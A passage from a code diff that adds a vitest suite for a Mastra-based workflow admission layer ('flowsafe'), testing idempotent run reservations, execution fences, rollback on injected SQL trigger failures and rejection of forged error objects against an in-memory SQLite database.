ProofEntryExpectation; + readonly runOwnerGuard?: { + readonly owner: StartIdentity['owner']; + readonly reservationToken: string; + }; + /** Plain-function invocation before the matching persist hook's first await. */ + readonly onInitialWriteAttempt: () => void; +} + +export interface InitialAdmissionWitness { + readonly execution: D1RunExecutionIdentity; + readonly row: RawWorkflowSnapshot; +} + +/** Explicit trusted primitive; built-in Runtime does not yet consume it. */ +export interface FencedWorkflowAdmissionCapability { + readonly database: InitialAdmissionDatabase; + readonly tablePrefix: string; + /** Invokes only createRun as a plain function, never the returned Run's start. */ + withInitialAdmission( + input: InitialRunAdmission, + createRun: () => Promise, + ): Promise<{ value: T; witness: InitialAdmissionWitness }>; + readSnapshot(address: { + workflowId: string; + runId: string; + }): Promise; +} diff --git a/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts b/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts new file mode 100644 index 00000000..a2d4a0a6 --- /dev/null +++ b/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts @@ -0,0 +1,1446 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { Mastra } from '@mastra/core/mastra'; +import { RequestContext } from '@mastra/core/request-context'; +import { + createStep, + createWorkflow, + type WorkflowRunState, +} from '@mastra/core/workflows'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { z } from 'zod'; +import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; +import { + D1ResourceOwnershipStore, + type ResourceOwnershipDatabase, +} from '../approval-api/resource-ownership.js'; +import type { D1DatabaseBinding } from './cf-types.js'; +import { createD1Storage } from './d1-storage.js'; +import { + ExecutionFenceUnreadableError, + InvalidExecutionIdentityError, +} from './execution-admission.js'; +import { + type ExecutionFenceState, + ExecutionFenceStore, +} from './execution-fence.js'; +import { + FENCED_WORKFLOW_STORAGE, + type InitialAdmissionDatabase, + type InitialRunAdmission, +} from './fenced-workflow-capability.js'; +import { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js'; +import { isDefinitiveInitialAdmissionRefusal } from './initial-admission-refusal.js'; +import { StartIdempotencyStore } from './start-idempotency.js'; + +const PROVENANCE = 'flowsafe.runProvenance'; +const OWNER = { kind: 'human' as const, id: 'Alice' }; + +async function fixture( + options: { + keyed?: boolean; + state?: ExecutionFenceState; + prefix?: string; + persist?: boolean; + prune?: (args: { snapshot: WorkflowRunState }) => WorkflowRunState; + } = {}, +) { + const sql = openSqlite(); + const db = sqliteUnitDatabase(sql) as InitialAdmissionDatabase & + D1DatabaseBinding; + const prefix = options.prefix ?? ''; + const storage = createD1Storage({ binding: db, tablePrefix: prefix }); + let effects = 0; + const workflow = createWorkflow({ + id: 'workflow', + inputSchema: z.object({}), + outputSchema: z.object({}), + options: { + shouldPersistSnapshot: () => options.persist !== false, + ...(options.prune ? { pruneSnapshot: options.prune } : {}), + }, + }) + .then( + createStep({ + id: 'effect', + inputSchema: z.object({}), + outputSchema: z.object({}), + execute: async () => { + effects += 1; + return {}; + }, + }), + ) + .commit(); + new Mastra({ storage, workflows: { workflow } }); + await storage.init(); + const domain = await storage.getStore('workflows'); + if (!(domain instanceof FencedWorkflowsStorageD1)) + throw new Error('owned default missing'); + const capability = domain[FENCED_WORKFLOW_STORAGE]; + if (!capability) throw new Error('capability missing'); + const fence = new ExecutionFenceStore(db); + await fence.seed( + options.state === 'proof-only' ? 'open' : (options.state ?? 'open'), + ); + if (options.state === 'proof-only') + await fence.transition({ + expected: 'open', + next: 'proof-only', + proofKey: 'key', + }); + const execution = { + tablePrefix: prefix.toLowerCase(), + workflowId: 'workflow', + runId: 'run', + startToken: 'generation', + }; + const startIdentity = { + owner: OWNER, + target: { kind: 'workflow' as const, id: 'workflow' }, + }; + const reservationStore = options.keyed + ? new StartIdempotencyStore(db) + : undefined; + if (reservationStore) { + await reservationStore.reserve({ + key: 'key', + owner: OWNER, + targetKind: 'workflow', + targetId: 'workflow', + mintRunId: () => execution.runId, + }); + expect(await reservationStore.claim('key', execution.runId)).toBe(true); + sql.exec("UPDATE flowsafe_start_idempotency SET start_token = ''"); + } + const reservation = await reservationStore?.readForAdmission('key'); + const reading = await fence.read(); + const onInitialWriteAttempt = vi.fn(); + const input: InitialRunAdmission = { + execution, + attemptToken: 'correlation', + startIdentity, + fence, + requestContext: { + runId: 'run', + 'breakwater.workflowScope': 'workflow', + app: { text: 'λ', nullable: null }, + [PROVENANCE]: { + version: 2, + startToken: execution.startToken, + attemptToken: 'correlation', + startIdentity, + requestedBy: OWNER.id, + requestedByKind: OWNER.kind, + resumeCounts: [], + }, + }, + ...(reservation ? { reservation, reservationStore } : {}), + ...(options.state === 'proof-only' + ? { + proof: { + key: 'key', + mutationEpoch: reading.mutationEpoch, + transitionRevision: reading.transitionRevision, + }, + } + : {}), + onInitialWriteAttempt, + }; + const admit = (supplied = input) => + capability.withInitialAdmission(supplied, () => + workflow.createRun({ runId: execution.runId }), + ); + return { + sql, + db, + storage, + workflow, + domain, + capability, + fence, + input, + admit, + onInitialWriteAttempt, + effects: () => effects, + rows: () => + sql.prepare(`SELECT * FROM "${prefix}mastra_workflow_snapshot"`).all(), + }; +} + +function pending(): WorkflowRunState { + return { + runId: 'run', + status: 'pending', + value: {}, + context: {}, + serializedStepGraph: [], + activePaths: [], + activeStepsPath: {}, + suspendedPaths: {}, + resumeLabels: {}, + waitingPaths: {}, + timestamp: 123, + }; +} + +async function direct( + h: Awaited>, + patch: Partial< + Parameters[0] + > = {}, + input = h.input, +) { + return h.capability.withInitialAdmission(input, () => + h.domain.persistWorkflowSnapshot({ + workflowName: 'workflow', + runId: 'run', + snapshot: pending(), + ...patch, + }), + ); +} + +afterEach(() => vi.restoreAllMocks()); + +function claim(input: InitialRunAdmission) { + if (!input.reservation) throw new Error('test requires a keyed fixture'); + return input.reservation; +} + +describe('owned initial workflow admission', () => { + it.each([ + 'foreign fence binding', + 'foreign reservation binding', + 'wrapped fence binding', + ])('rejects a valid %s before any initial-admission I/O', async (variant) => { + vi.spyOn(Date, 'now').mockReturnValue(1_700_000_000_000); + const local = await fixture({ keyed: true, state: 'proof-only' }); + const foreign = await fixture({ keyed: true, state: 'proof-only' }); + const foreignReservations = foreign.input.reservationStore; + if (!foreignReservations) + throw new Error('test requires foreign reservations'); + const wrapped: InitialAdmissionDatabase = { + prepare: (sql) => local.db.prepare(sql), + batch: (statements) => local.db.batch(statements), + }; + const input: InitialRunAdmission = { + ...local.input, + fence: + variant === 'foreign fence binding' + ? foreign.fence + : variant === 'wrapped fence binding' + ? new ExecutionFenceStore(wrapped) + : local.fence, + reservationStore: + variant === 'foreign reservation binding' + ? foreignReservations + : local.input.reservationStore, + }; + const participants = () => + [local, foreign].map(({ sql, rows }) => ({ + snapshots: rows(), + fence: sql.prepare('SELECT * FROM flowsafe_execution_fence').all(), + reservations: sql + .prepare('SELECT * FROM flowsafe_start_idempotency ORDER BY key') + .all(), + })); + const before = participants(); + const io = [local.db, foreign.db, wrapped].flatMap((db) => [ + vi.spyOn(db, 'prepare'), + vi.spyOn(db, 'batch'), + ]); + const createRun = vi.fn(() => local.workflow.createRun({ runId: 'run' })); + const outcome = await local.capability + .withInitialAdmission(input, createRun) + .catch((error: unknown) => error); + + expect(participants()).toEqual(before); + for (const method of io) expect(method).not.toHaveBeenCalled(); + expect(createRun).not.toHaveBeenCalled(); + expect(local.onInitialWriteAttempt).not.toHaveBeenCalled(); + expect(foreign.onInitialWriteAttempt).not.toHaveBeenCalled(); + expect(outcome).toMatchObject({ + status: 400, + reason: { code: 'INVALID_EXECUTION_IDENTITY' }, + }); + expect(outcome).not.toHaveProperty('witness'); + expect(isDefinitiveInitialAdmissionRefusal(outcome, input.execution)).toBe( + false, + ); + expect([local.effects(), foreign.effects()]).toEqual([0, 0]); + }); + it('refuses inherited batch slots after snapshot key and proof have all committed', async () => { + const h = await fixture({ keyed: true, state: 'proof-only' }); + const batch = h.db.batch.bind(h.db); + const calls = vi + .spyOn(h.db, 'batch') + .mockImplementationOnce(async (statements) => { + const results = await batch(statements); + const sparse = new Array(results.length); + const prototype = Object.create(Array.prototype); + for (let index = 0; index < results.length; index += 1) + prototype[index] = { results: [], meta: { changes: 0 } }; + Object.setPrototypeOf(sparse, prototype); + expect(Object.hasOwn(sparse, 0)).toBe(false); + return sparse; + }); + const reads = vi.spyOn(h.fence, 'readForAdmission'); + const error = await h.admit().catch((error: unknown) => error); + expect(h.rows()).toHaveLength(1); + expect( + (await h.input.reservationStore?.readForAdmission('key'))?.binding, + ).toEqual({ kind: 'bound', execution: h.input.execution }); + expect((await h.fence.read()).proofExecution).toEqual(h.input.execution); + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + false, + ); + expect(error).toMatchObject({ + status: 503, + reason: { code: 'EXECUTION_FENCE_UNREADABLE' }, + }); + expect(calls).toHaveBeenCalledTimes(1); + expect(reads).toHaveBeenCalledTimes(1); + expect(h.effects()).toBe(0); + }); + it('ignores a custom batch iterator that fabricates zero evidence after a real INSERT', async () => { + const h = await fixture(); + const batch = h.db.batch.bind(h.db); + vi.spyOn(h.db, 'batch').mockImplementationOnce(async (statements) => { + const results = await batch(statements); + Object.defineProperty(results, Symbol.iterator, { + value: function* () { + yield { results: [] }; + yield { results: [] }; + }, + }); + return results; + }); + const outcome = await h.admit().catch((error: unknown) => error); + expect( + isDefinitiveInitialAdmissionRefusal(outcome, h.input.execution), + ).toBe(false); + expect(outcome).toMatchObject({ + witness: { execution: h.input.execution }, + }); + expect(h.rows()).toHaveLength(1); + }); + it('never grants zero evidence when a result getter shrinks the batch during capture', async () => { + const h = await fixture({ state: 'draining' }); + const batch = h.db.batch.bind(h.db); + vi.spyOn(h.db, 'batch').mockImplementationOnce(async (statements) => { + const results = await batch(statements); + const first = results[0]; + Object.defineProperty(results, 0, { + get() { + results.pop(); + return first; + }, + }); + return results; + }); + const reads = vi.spyOn(h.fence, 'readForAdmission'); + const error = await h.admit().catch((error: unknown) => error); + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + false, + ); + expect(error).toBeInstanceOf(ExecutionFenceUnreadableError); + expect(reads).toHaveBeenCalledTimes(1); + expect(h.rows()).toEqual([]); + }); + it.each([ + 'method', + 'prototype', + 'constructor', + ])('keeps genuine all-zero evidence private against %s forgery', async (attack) => { + const h = await fixture({ state: 'draining' }); + const error = await h.admit().catch((error: unknown) => error); + if (!(error instanceof Error)) + throw new Error('expected genuine all-zero error'); + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + true, + ); + expect( + isDefinitiveInitialAdmissionRefusal( + new Error('wrapper', { cause: error }), + h.input.execution, + ), + ).toBe(true); + const other = { ...h.input.execution, startToken: 'another-generation' }; + if (attack === 'method') { + Object.assign(error, { matches: () => true }); + expect(isDefinitiveInitialAdmissionRefusal(error, other)).toBe(false); + expect( + isDefinitiveInitialAdmissionRefusal(error, h.input.execution), + ).toBe(true); + } else if (attack === 'prototype') { + const forged = Object.assign( + Object.create(Object.getPrototypeOf(error)), + { matches: () => true }, + ); + expect(isDefinitiveInitialAdmissionRefusal(forged, other)).toBe(false); + expect( + isDefinitiveInitialAdmissionRefusal(forged, h.input.execution), + ).toBe(false); + } else { + const Constructor = Object.getPrototypeOf(error).constructor; + const forged = Reflect.construct( + Constructor, + Constructor.length === 2 + ? [h.input.execution, error.cause] + : [error.cause], + ); + expect(forged.message).toBe(error.message); + expect( + isDefinitiveInitialAdmissionRefusal(forged, h.input.execution), + ).toBe(false); + } + }); + it('rejects malformed caller objects and missing participant methods before I/O', async () => { + const h = await fixture({ keyed: true }); + const values: unknown[] = [null, [], false, 1, 'invalid']; + const invalid: unknown[] = [...values]; + for (const field of [ + 'requestContext', + 'proof', + 'runOwnerGuard', + 'reservation', + 'reservationStore', + 'fence', + ]) { + for (const value of values) invalid.push({ ...h.input, [field]: value }); + } + for (const field of ['fence', 'reservationStore'] as const) { + const original = h.input[field]; + if (!original) throw new Error('test requires a participating store'); + const methods = + field === 'fence' + ? ['usesDatabase', 'seed', 'readForAdmission'] + : ['usesDatabase', 'readForAdmission']; + for (const method of methods) + for (const value of [undefined, null, false, 1]) { + invalid.push({ + ...h.input, + [field]: Object.defineProperty(Object.create(original), method, { + value, + }), + }); + } + } + const prepare = vi.spyOn(h.db, 'prepare'); + const batch = vi.spyOn(h.db, 'batch'); + const create = vi.fn(() => h.workflow.createRun({ runId: 'run' })); + for (const input of invalid) { + const error = await h.capability + .withInitialAdmission(input as InitialRunAdmission, create) + .catch((error: unknown) => error); + expect(error).toMatchObject({ + status: 400, + reason: { code: 'INVALID_EXECUTION_IDENTITY' }, + }); + expect(prepare).not.toHaveBeenCalled(); + expect(batch).not.toHaveBeenCalled(); + expect(create).not.toHaveBeenCalled(); + expect(h.onInitialWriteAttempt).not.toHaveBeenCalled(); + expect( + isDefinitiveInitialAdmissionRefusal(error, h.input.execution), + ).toBe(false); + } + }); + + it('preserves original caller getter and callback failures', async () => { + const h = await fixture(); + const fault = new Error('caller getter fault'); + for (const requestContext of [ + { + get [PROVENANCE]() { + throw fault; + }, + }, + { + [PROVENANCE]: Object.defineProperty( + { ...(h.input.requestContext[PROVENANCE] as object) }, + 'startToken', + { + get() { + throw fault; + }, + }, + ), + }, + { + [PROVENANCE]: { + ...(h.input.requestContext[PROVENANCE] as object), + startIdentity: { + get owner() { + throw fault; + }, + }, + }, + }, + ]) { + await expect(h.admit({ ...h.input, requestContext })).rejects.toBe(fault); + } + await expect( + h.capability.withInitialAdmission(h.input, async () => { + throw fault; + }), + ).rejects.toBe(fault); + await expect( + h.admit({ + ...h.input, + onInitialWriteAttempt() { + throw fault; + }, + }), + ).rejects.toBe(fault); + }); + it('admits an agent logical target without guessing its physical workflow and rejects mismatched threads', async () => { + for (const mismatch of [false, true]) { + const h = await fixture({ keyed: true }); + h.sql.exec( + "UPDATE flowsafe_start_idempotency SET target_kind = 'agent', target_id = 'agent', thread_id = 'thread'", + ); + const reservation = + await h.input.reservationStore?.readForAdmission('key'); + const startIdentity = { + owner: OWNER, + target: { + kind: 'agent' as const, + id: 'agent', + threadId: mismatch ? 'other-thread' : 'thread', + }, + }; + const input = { + ...h.input, + startIdentity, + reservation, + requestContext: { + ...h.input.requestContext, + [PROVENANCE]: { + ...(h.input.requestContext[PROVENANCE] as object), + startIdentity, + agentStart: { threaded: false }, + }, + }, + }; + const prepare = vi.spyOn(h.db, 'prepare'); + const result = await h.admit(input).catch((error: unknown) => error); + if (mismatch) { + expect(result).toBeInstanceOf(InvalidExecutionIdentityError); + expect(prepare).not.toHaveBeenCalled(); + } else expect(h.rows()).toHaveLength(1); + } + }); + + it('keeps optional caller epochs separate from original proof-round counters', async () => { + const h = await fixture({ state: 'proof-only' }); + const input = { + ...h.input, + mutationEpoch: 99, + requestContext: { + ...h.input.requestContext, + [PROVENANCE]: { + ...(h.input.requestContext[PROVENANCE] as object), + mutationEpoch: 99, + }, + }, + }; + expect((await h.admit(input)).witness.execution).toEqual(h.input.execution); + expect((await h.fence.read()).mutationEpoch).toBe(0); + }); + + it('isolates concurrent scopes on one actual Core workflow domain', async () => { + const h = await fixture(); + const inputs = ['first', 'second'].map((runId) => ({ + ...h.input, + execution: { ...h.input.execution, runId, startToken: runId }, + requestContext: { + ...h.input.requestContext, + runId, + [PROVENANCE]: { + ...(h.input.requestContext[PROVENANCE] as object), + startToken: runId, + }, + }, + })); + const outcomes = await Promise.all( + inputs.map((input) => + h.capability.withInitialAdmission(input, () => + h.workflow.createRun({ runId: input.execution.runId }), + ), + ), + ); + expect(outcomes.map(({ witness }) => witness.execution.startToken)).toEqual( + ['first', 'second'], + ); + expect(h.rows()).toHaveLength(2); + }); + + it('rejects malformed Date and JSON serialization before batch without no-write evidence', async () => { + for (const patch of [ + { createdAt: new Date(Number.NaN) }, + { snapshot: { ...pending(), unsupported: BigInt(1) } }, + ]) { + const h = await fixture(); + const batch = vi.spyOn(h.db, 'batch'); + const error = await direct(h, patch).catch((error: unknown) => error); + expect(error).toBeInstanceOf(Error); + expect(batch).not.toHaveBeenCalled(); + expect(h.rows()).toEqual([]); + expect( + isDefinitiveInitialAdmissionRefusal(error, h.input.execution), + ).toBe(false); + } + }); + it('does not let prepared context serialization replace or manufacture auxiliary identity', async () => { + const h = await fixture(); + const prepare = vi.spyOn(h.db, 'prepare'); + for (const runId of ['foreign', undefined, 'run']) { + const requestContext = { + ...h.input.requestContext, + runId, + toJSON() { + return { + runId: runId === 'run' ? 'foreign' : 'run', + 'breakwater.workflowScope': 'workflow', + }; + }, + }; + const error = await h + .admit({ ...h.input, requestContext }) + .catch((error: unknown) => error); + expect(error).toBeInstanceOf(InvalidExecutionIdentityError); + expect(prepare).not.toHaveBeenCalled(); + expect( + isDefinitiveInitialAdmissionRefusal(error, h.input.execution), + ).toBe(false); + } + }); + it('guards an actual reused committed owner and preserves distinct initiating ownership', async () => { + for (const disposition of [ + 'keep', + 'delete', + 'replace-owner', + 'replace-token', + ]) { + const h = await fixture({ keyed: true, state: 'proof-only' }); + const actualOwner = { kind: 'human' as const, id: 'Resource owner' }; + const ownership = new D1ResourceOwnershipStore( + h.db as unknown as ResourceOwnershipDatabase, + ); + expect(await ownership.claim('run', 'run', actualOwner)).toBe(true); + expect( + await ownership.reserveAll( + [{ kind: 'run', resourceId: 'run' }], + actualOwner, + 'correlation', + ), + ).toBe(true); + const input = { + ...h.input, + runOwnerGuard: { owner: actualOwner, reservationToken: 'correlation' }, + }; + const batch = h.db.batch.bind(h.db); + const prepare = h.db.prepare.bind(h.db); + let parameters = 0; + vi.spyOn(h.db, 'prepare').mockImplementation((query) => { + const statement = prepare(query); + const bind = statement.bind.bind(statement); + statement.bind = (...values) => { + if (query.startsWith('INSERT INTO "mastra_workflow_snapshot"')) + parameters = values.length; + return bind(...values); + }; + return statement; + }); + vi.spyOn(h.db, 'batch').mockImplementationOnce(async (statements) => { + if (disposition === 'delete') + h.sql.exec('DELETE FROM flowsafe_resource_owners'); + if (disposition === 'replace-owner') + h.sql.exec( + "UPDATE flowsafe_resource_owners SET owner_id = 'replacement'", + ); + if (disposition === 'replace-token') + h.sql.exec( + "UPDATE flowsafe_resource_owners SET reservation_token = 'replacement'", + ); + return batch(statements); + }); + const result = await h.admit(input).catch((error: unknown) => error); + expect(h.rows()).toHaveLength(disposition === 'keep' ? 1 : 0); + expect(parameters).toBe(31); + if (disposition !== 'keep') { + expect(result).toMatchObject({ + reason: { + code: 'RUN_ADMISSION_CONFLICT', + classification: 'run-owner-changed', + }, + }); + expect( + isDefinitiveInitialAdmissionRefusal(result, input.execution), + ).toBe(true); + expect( + (await h.input.reservationStore?.readForAdmission('key'))?.binding + .kind, + ).toBe('unbound'); + expect((await h.fence.read()).proofRunId).toBeUndefined(); + } + } + }); + + it('checks the exact winning claim on the initial INSERT before any binding effects', async () => { + for (const change of [ + "owner_id = 'Bob'", + "target_id = 'other'", + "run_id = 'other'", + 'updated_at = updated_at + 1', + ]) { + const h = await fixture({ keyed: true, state: 'proof-only' }); + const batch = h.db.batch.bind(h.db); + vi.spyOn(h.db, 'batch').mockImplementationOnce(async (statements) => { + h.sql.exec(`UPDATE flowsafe_start_idempotency SET ${change}`); + return batch(statements); + }); + const error = await h.admit().catch((error: unknown) => error); + expect(h.rows()).toEqual([]); + expect( + (await h.input.reservationStore?.readForAdmission('key'))?.binding.kind, + ).toBe('unbound'); + expect((await h.fence.read()).proofRunId).toBeUndefined(); + expect(error).toMatchObject({ + reason: { + code: change.startsWith('owner') + ? 'IDEMPOTENT_START_OWNER_MISMATCH' + : change.startsWith('target') + ? 'IDEMPOTENT_START_TARGET_MISMATCH' + : 'RUN_ADMISSION_CONFLICT', + }, + }); + expect( + isDefinitiveInitialAdmissionRefusal(error, h.input.execution), + ).toBe(true); + } + }); + + it.each([ + 'mastra_workflow_snapshot', + 'flowsafe_start_idempotency', + 'flowsafe_execution_fence', + ])('rolls back all participants on an actual %s statement exception', async (table) => { + const h = await fixture({ keyed: true, state: 'proof-only' }); + const verb = table === 'mastra_workflow_snapshot' ? 'INSERT' : 'UPDATE'; + h.sql.exec( + `CREATE TRIGGER reject_write BEFORE ${verb} ON ${table} BEGIN SELECT RAISE(ABORT, 'injected statement failure'); END`, + ); + const error = await h.admit().catch((error: unknown) => error); + expect(error).toBeInstanceOf(ExecutionFenceUnreadableError); + expect(h.rows()).toEqual([]); + expect( + (await h.input.reservationStore?.readForAdmission('key'))?.binding.kind, + ).toBe('unbound'); + expect((await h.fence.read()).proofRunId).toBeUndefined(); + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + false, + ); + }); + + it('gives no no-write evidence when the callback uses another actual Core domain', async () => { + const h = await fixture(); + const other = await fixture(); + const error = await h.capability + .withInitialAdmission(h.input, () => + other.workflow.createRun({ runId: 'run' }), + ) + .catch((error: unknown) => error); + expect(other.rows()).toHaveLength(1); + expect(h.rows()).toEqual([]); + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + false, + ); + expect(error).toBeInstanceOf(ExecutionFenceUnreadableError); + }); + + it('captures a coherent frame before awaited preparation and refuses closed detached continuations', async () => { + const h = await fixture({ keyed: true, state: 'proof-only' }); + let release!: () => void; + const wait = new Promise((resolve) => { + release = resolve; + }); + const seed = h.fence.seed.bind(h.fence); + vi.spyOn(h.fence, 'seed').mockImplementationOnce(async (state) => { + await wait; + return seed(state); + }); + const original = { + ...h.input, + execution: { ...h.input.execution }, + reservation: { ...claim(h.input), owner: { ...OWNER } }, + proof: { key: 'key', mutationEpoch: 0, transitionRevision: 1 }, + requestContext: structuredClone(h.input.requestContext), + }; + const admitted = direct(h, {}, original); + original.execution.startToken = 'changed'; + original.reservation.owner.id = 'changed'; + original.proof.transitionRevision = 99; + release(); + expect((await admitted).witness.execution.startToken).toBe('generation'); + const detached = await fixture(); + let resume!: () => void; + const pause = new Promise((resolve) => { + resume = resolve; + }); + let later: Promise | undefined; + await detached.capability.withInitialAdmission(detached.input, async () => { + await detached.domain.persistWorkflowSnapshot({ + workflowName: 'workflow', + runId: 'run', + snapshot: pending(), + }); + later = pause + .then(() => + detached.domain.persistWorkflowSnapshot({ + workflowName: 'workflow', + runId: 'run', + snapshot: pending(), + }), + ) + .catch((error: unknown) => error); + }); + resume(); + expect(await later).toBeInstanceOf(InvalidExecutionIdentityError); + expect(detached.rows()).toHaveLength(1); + }); + it('rejects a prune toJSON that mutates the nested prepared context', async () => { + const h = await fixture({ + prune: ({ snapshot }) => ({ + ...snapshot, + toJSON(this: WorkflowRunState) { + if (this.requestContext) + this.requestContext.app.text = 'changed by serialization'; + return this; + }, + }), + }); + const batch = vi.spyOn(h.db, 'batch'); + const error = await h.admit().catch((error: unknown) => error); + expect(error).toBeInstanceOf(InvalidExecutionIdentityError); + expect(batch).not.toHaveBeenCalled(); + expect(h.rows()).toEqual([]); + expect(h.effects()).toBe(0); + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + false, + ); + }); + it.each([ + 'before entry', + 'persist hook', + ])('keeps the constructor binding after public capability replacement %s', async (when) => { + const first = await fixture(); + const second = await fixture(); + const saved = first.capability; + const replace = () => + Object.defineProperty(first.domain, FENCED_WORKFLOW_STORAGE, { + value: second.capability, + }); + if (when === 'before entry') replace(); + const result = await saved.withInitialAdmission( + { + ...first.input, + onInitialWriteAttempt: + when === 'persist hook' ? replace : () => undefined, + }, + () => first.workflow.createRun({ runId: 'run' }), + ); + expect(result.witness.execution).toEqual(first.input.execution); + expect(first.rows()).toHaveLength(1); + expect(second.rows()).toEqual([]); + expect(first.domain[FENCED_WORKFLOW_STORAGE]?.database).toBe(second.db); + expect(await saved.readSnapshot(first.input.execution)).toEqual( + result.witness.row, + ); + }); + it('rejects incoherent initial admission participants before I/O', async () => { + const cases: Array<{ + name: string; + change: (input: InitialRunAdmission) => InitialRunAdmission; + code: string; + }> = [ + { + name: 'owner', + change: (i) => ({ + ...i, + reservation: { + ...claim(i), + owner: { kind: 'human', id: 'Bob' }, + targetId: 'wf-b', + }, + }), + code: 'IDEMPOTENT_START_OWNER_MISMATCH', + }, + { + name: 'target', + change: (i) => ({ + ...i, + reservation: { ...claim(i), targetId: 'wf-b' }, + }), + code: 'IDEMPOTENT_START_TARGET_MISMATCH', + }, + { + name: 'run', + change: (i) => ({ + ...i, + reservation: { ...claim(i), runId: 'other-run' }, + }), + code: 'INVALID_EXECUTION_IDENTITY', + }, + { + name: 'no identity', + change: (i) => ({ ...i, startIdentity: undefined }), + code: 'INVALID_EXECUTION_IDENTITY', + }, + { + name: 'no store', + change: (i) => ({ ...i, reservationStore: undefined }), + code: 'INVALID_EXECUTION_IDENTITY', + }, + { + name: 'no claim', + change: (i) => ({ ...i, reservation: undefined }), + code: 'INVALID_EXECUTION_IDENTITY', + }, + { + name: 'reserved', + change: (i) => ({ + ...i, + reservation: { ...claim(i), state: 'reserved' }, + }), + code: 'INVALID_EXECUTION_IDENTITY', + }, + { + name: 'legacy', + change: (i) => ({ + ...i, + reservation: { ...claim(i), binding: { kind: 'legacy' } }, + }), + code: 'INVALID_EXECUTION_IDENTITY', + }, + { + name: 'bound', + change: (i) => ({ + ...i, + reservation: { + ...claim(i), + binding: { kind: 'bound', execution: i.execution }, + }, + }), + code: 'INVALID_EXECUTION_IDENTITY', + }, + { + name: 'proof key', + change: (i) => ({ + ...i, + proof: { key: 'other', mutationEpoch: 0, transitionRevision: 0 }, + }), + code: 'INVALID_EXECUTION_IDENTITY', + }, + { + name: 'owner correlation', + change: (i) => ({ + ...i, + runOwnerGuard: { owner: OWNER, reservationToken: 'other' }, + }), + code: 'INVALID_EXECUTION_IDENTITY', + }, + { + name: 'workflow thread', + change: (i) => ({ + ...i, + reservation: { ...claim(i), threadId: 'unexpected' }, + }), + code: 'INVALID_EXECUTION_IDENTITY', + }, + { + name: 'invalid timestamp', + change: (i) => ({ + ...i, + reservation: { ...claim(i), createdAt: Number.NaN }, + }), + code: 'INVALID_EXECUTION_IDENTITY', + }, + ]; + for (const { name, change, code } of cases) { + const h = await fixture({ keyed: true }); + if (name === 'owner') + h.sql.exec( + "UPDATE flowsafe_start_idempotency SET owner_id = 'Bob', target_id = 'wf-b'", + ); + if (name === 'target') + h.sql.exec("UPDATE flowsafe_start_idempotency SET target_id = 'wf-b'"); + const prepare = vi.spyOn(h.db, 'prepare'); + const batch = vi.spyOn(h.db, 'batch'); + const create = vi.fn(() => h.workflow.createRun({ runId: 'run' })); + const error = await h.capability + .withInitialAdmission(change(h.input), create) + .catch((error: unknown) => error); + expect(error, name).toMatchObject({ reason: { code } }); + expect(prepare, name).not.toHaveBeenCalled(); + expect(batch, name).not.toHaveBeenCalled(); + expect(create, name).not.toHaveBeenCalled(); + expect(h.onInitialWriteAttempt, name).not.toHaveBeenCalled(); + expect( + isDefinitiveInitialAdmissionRefusal(error, h.input.execution), + name, + ).toBe(false); + } + }); + + it.each([ + undefined, + 0, + 2, + ])('refuses original active epoch %s at the atomic boundary', async (mutationEpoch) => { + const h = await fixture({ keyed: true }); + await h.fence.transition({ + expected: 'open', + next: 'open', + expectedMutationEpoch: 0, + expectedRevision: 0, + advanceMutationEpoch: true, + }); + const input = { + ...h.input, + mutationEpoch, + requestContext: { + ...h.input.requestContext, + [PROVENANCE]: { + ...(h.input.requestContext[PROVENANCE] as object), + mutationEpoch, + }, + }, + }; + const error = await h.admit(input).catch((error: unknown) => error); + expect(error).toMatchObject({ + status: 409, + reason: { + code: 'MUTATION_EPOCH_MISMATCH', + classification: + mutationEpoch === undefined + ? 'missing' + : mutationEpoch === 0 + ? 'stale' + : 'future', + }, + }); + expect(h.rows()).toEqual([]); + expect(isDefinitiveInitialAdmissionRefusal(error, input.execution)).toBe( + true, + ); + }); + + it('distinguishes late same-state open revisions and transient races without fencing open', async () => { + for (const classification of ['fence-changed', 'admission-raced']) { + const h = await fixture(); + const batch = h.db.batch.bind(h.db); + vi.spyOn(h.db, 'batch').mockImplementationOnce(async (statements) => { + if (classification === 'fence-changed') + await h.fence.transition({ expected: 'open', next: 'open' }); + else + h.sql.exec("UPDATE flowsafe_execution_fence SET state = 'draining'"); + const result = await batch(statements); + if (classification === 'admission-raced') + h.sql.exec("UPDATE flowsafe_execution_fence SET state = 'open'"); + return result; + }); + const error = await h.admit().catch((error: unknown) => error); + expect(error).toMatchObject({ + status: 409, + reason: { code: 'RUN_ADMISSION_CONFLICT', classification }, + }); + expect( + isDefinitiveInitialAdmissionRefusal(error, h.input.execution), + ).toBe(true); + expect(h.rows()).toEqual([]); + } + }); + + it('makes zero initial insertion leave proof and winning reservation unchanged for a same-byte occupied row', async () => { + const h = await fixture({ keyed: true, state: 'proof-only' }); + const prepare = h.db.prepare.bind(h.db); + let initial: unknown[] = []; + vi.spyOn(h.db, 'prepare').mockImplementation((query) => { + const statement = prepare(query); + const bind = statement.bind.bind(statement); + statement.bind = (...values) => { + if (query.startsWith('INSERT INTO "mastra_workflow_snapshot"')) + initial = values; + return bind(...values); + }; + return statement; + }); + const batch = h.db.batch.bind(h.db); + vi.spyOn(h.db, 'batch').mockImplementationOnce(async (statements) => { + h.sql + .prepare( + 'INSERT INTO mastra_workflow_snapshot VALUES (?, ?, ?, ?, ?, ?)', + ) + .run(...initial.slice(0, 6)); + return batch(statements); + }); + const error = await h.admit().catch((error: unknown) => error); + expect(error).toMatchObject({ + reason: { code: 'RUN_ADMISSION_CONFLICT', classification: 'run-exists' }, + }); + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + true, + ); + expect( + (await h.input.reservationStore?.readForAdmission('key'))?.binding.kind, + ).toBe('unbound'); + expect((await h.fence.read()).proofRunId).toBeUndefined(); + 